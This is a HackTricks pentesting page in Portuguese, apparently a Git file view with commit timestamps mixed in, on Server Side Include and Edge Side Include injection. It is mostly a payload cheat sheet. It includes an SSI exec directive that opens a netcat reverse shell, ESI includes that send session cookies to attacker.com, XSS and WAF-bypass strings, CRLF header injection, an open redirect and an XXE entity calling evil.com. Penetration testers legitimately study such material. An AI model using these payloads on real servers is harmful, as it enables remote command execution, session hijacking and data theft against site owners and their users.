hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

239 lines
12 KiB
Markdown
Raw Normal View History

# Injeção de Inclusão do Lado do Servidor/Inclusão do Lado do Edge
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Informações Básicas sobre Inclusão do Lado do Servidor
**(Introdução retirada da [documentação do Apache](https://httpd.apache.org/docs/current/howto/ssi.html))**
SSI (Server Side Includes) são diretivas que são **colocadas em páginas HTML e avaliadas no servidor** enquanto as páginas estão sendo servidas. Elas permitem que você **adicione conteúdo gerado dinamicamente** a uma página HTML existente, sem precisar servir a página inteira por meio de um programa CGI ou outra tecnologia dinâmica.\
2023-06-06 18:56:34 +00:00
Por exemplo, você pode colocar uma diretiva em uma página HTML existente, como:
2021-06-07 09:30:58 +00:00
`<!--#echo var="DATE_LOCAL" -->`
E, quando a página é servida, este fragmento será avaliado e substituído por seu valor:
2021-06-07 09:30:58 +00:00
2023-06-06 18:56:34 +00:00
`Terça-feira, 15-Jan-2013 19:28:54 EST`
2021-06-07 09:30:58 +00:00
A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa é geralmente uma questão de quanta parte da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como o horário atual - mostrado acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar por outra solução.
2021-06-07 09:30:58 +00:00
Você pode inferir a presença de SSI se a aplicação web usar arquivos com as extensões \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mas não é o único caso.
2021-06-07 09:30:58 +00:00
2023-06-06 18:56:34 +00:00
Uma expressão SSI típica tem o seguinte formato:
```
2021-06-07 09:30:58 +00:00
<!--#directive param="value" -->
```
### Verificação
2022-10-03 13:43:01 +00:00
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
2021-06-07 09:30:58 +00:00
```
## Inclusão Lateral
2021-06-07 09:30:58 +00:00
Existe um problema **em cachear informações ou aplicações dinâmicas** pois parte do conteúdo pode ter **variações** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é utilizado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache. Se um **atacante** for capaz de **injetar uma tag ESI** dentro do conteúdo em cache, então ele poderia ser capaz de **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
2021-06-07 09:30:58 +00:00
2023-06-06 18:56:34 +00:00
### Detecção de ESI
2021-06-07 09:30:58 +00:00
O seguinte **cabeçalho** em uma resposta do servidor significa que o servidor está usando ESI:
```
2021-06-07 09:30:58 +00:00
Surrogate-Control: content="ESI/1.0"
```
Se não conseguir encontrar este cabeçalho, o servidor **pode estar a usar ESI de qualquer forma**.\
Uma **abordagem de exploração cega também pode ser usada** pois um pedido deve chegar ao servidor do atacante:
2022-10-03 13:43:01 +00:00
```javascript
// Basic detection
hell<!--esi-->o
2023-01-04 14:57:03 +00:00
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
2022-10-03 13:43:01 +00:00
// XSS Exploitation Example
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
2022-10-03 13:43:01 +00:00
// Cookie Stealer (bypass httpOnly flag)
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
2022-10-03 13:43:01 +00:00
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
2021-06-07 09:30:58 +00:00
```
2023-06-06 18:56:34 +00:00
### Exploração de ESI
2021-06-07 09:30:58 +00:00
[GoSecure criou](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) uma tabela para entender possíveis ataques que podemos tentar contra diferentes softwares capazes de ESI, dependendo da funcionalidade suportada:
2022-10-03 13:43:01 +00:00
* **Includes**: Suporta a diretiva `<esi:includes>`
* **Vars**: Suporta a diretiva `<esi:vars>`. Útil para contornar Filtros XSS
* **Cookie**: Os cookies do documento são acessíveis ao mecanismo ESI
* **Upstream Headers Required**: As aplicações substitutas não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
* **Host Allowlist**: Neste caso, as inclusões ESI são possíveis apenas a partir de hosts de servidor permitidos, tornando SSRF, por exemplo, apenas possível contra esses hosts
2021-06-07 09:30:58 +00:00
2022-10-03 13:43:01 +00:00
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
2023-06-06 18:56:34 +00:00
| Squid3 | Sim | Sim | Sim | Sim | Não |
| Varnish Cache | Sim | Não | Não | Sim | Sim |
| Fastly | Sim | Não | Não | Não | Sim |
| Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
| NodeJS esi | Sim | Sim | Sim | Não | Não |
| NodeJS nodesi | Sim | Não | Não | Não | Opcional |
2022-10-03 13:43:01 +00:00
#### XSS
2021-06-07 09:30:58 +00:00
A seguinte diretiva ESI carregará um arquivo arbitrário dentro da resposta do servidor
```xml
2021-06-07 09:30:58 +00:00
<esi:include src=http://attacker.com/xss.html>
```
#### Bypassar a proteção XSS do cliente
```xml
2021-06-07 09:30:58 +00:00
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
2023-01-04 14:57:03 +00:00
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
2021-06-07 09:30:58 +00:00
```
#### Roubar Cookie
2021-06-07 09:30:58 +00:00
2023-06-06 18:56:34 +00:00
* Roubo remoto de cookie
```xml
2021-06-07 09:30:58 +00:00
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
2023-06-06 18:56:34 +00:00
* Roubar cookie HTTP\_ONLY com XSS refletindo-o na resposta:
2023-01-04 14:57:03 +00:00
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
2023-01-04 14:57:03 +00:00
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
```
2023-06-06 18:56:34 +00:00
#### Arquivo Local Privado
2021-06-07 09:30:58 +00:00
Não confunda isso com uma "Inclusão de Arquivo Local":
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="secret.txt">
```
2022-10-03 13:43:01 +00:00
#### CRLF
CRLF (Carriage Return Line Feed) stands for the sequence of two ASCII characters, 0x0D and 0x0A, which are used to denote a line break in text files. In the context of server-side and edge-side inclusion, CRLF injection refers to the technique of injecting CRLF sequences into input data to manipulate the behavior of the server or web application. This can be exploited to perform various attacks such as HTTP response splitting and header injection.
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
2023-06-06 18:56:34 +00:00
#### Redirecionamento Aberto
2021-06-07 09:30:58 +00:00
O seguinte irá adicionar um cabeçalho `Location` à resposta
2023-01-04 14:57:03 +00:00
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
2023-06-06 18:56:34 +00:00
#### Adicionar Cabeçalho
2023-01-04 14:57:03 +00:00
* Adicionar cabeçalho na solicitação forçada
```xml
2022-10-15 14:18:24 +00:00
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
2023-06-06 18:56:34 +00:00
* Adicionar cabeçalho na resposta (útil para contornar "Content-Type: text/json" em uma resposta com XSS)
2023-01-04 14:57:03 +00:00
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF em Adicionar cabeçalho (**CVE-2019-2438)**
```xml
2022-10-15 14:18:24 +00:00
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai debug
2022-10-15 14:18:24 +00:00
2023-06-06 18:56:34 +00:00
Isso enviará informações de depuração incluídas na resposta:
```xml
2021-06-07 09:30:58 +00:00
<esi:debug/>
```
2022-10-03 13:43:01 +00:00
### ESI + XSLT = XXE
2021-06-07 09:30:58 +00:00
Ao especificar o valor `xslt` para o parâmetro _dca_, é viável incluir ESI baseado em **`eXtensible Stylesheet Language Transformations (XSLT)`**. A inclusão faz com que o servidor HTTP recupere os arquivos XML e XSLT, sendo que este último filtra o primeiro. Tais arquivos XML são exploráveis para ataques de _XML External Entity (XXE)_, permitindo que os atacantes executem ataques SSRF. No entanto, a utilidade desse método é limitada, uma vez que as inclusões ESI já servem como um vetor SSRF. Devido à ausência de suporte na biblioteca Xalan subjacente, DTDs externos não são processados, impedindo a extração de arquivos locais.
```xml
2021-06-07 09:30:58 +00:00
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
Ficheiro XSLT:
```xml
2021-06-07 09:30:58 +00:00
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
2023-06-06 18:56:34 +00:00
Verifique a página XSLT:
2021-06-07 11:31:39 +00:00
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
2021-06-07 11:31:39 +00:00
2023-06-06 18:56:34 +00:00
### Referências
2021-06-07 09:30:58 +00:00
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
2022-10-03 13:43:01 +00:00
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
2023-01-04 14:57:03 +00:00
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
2021-06-07 09:30:58 +00:00
## Lista de Detecção de Força Bruta
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>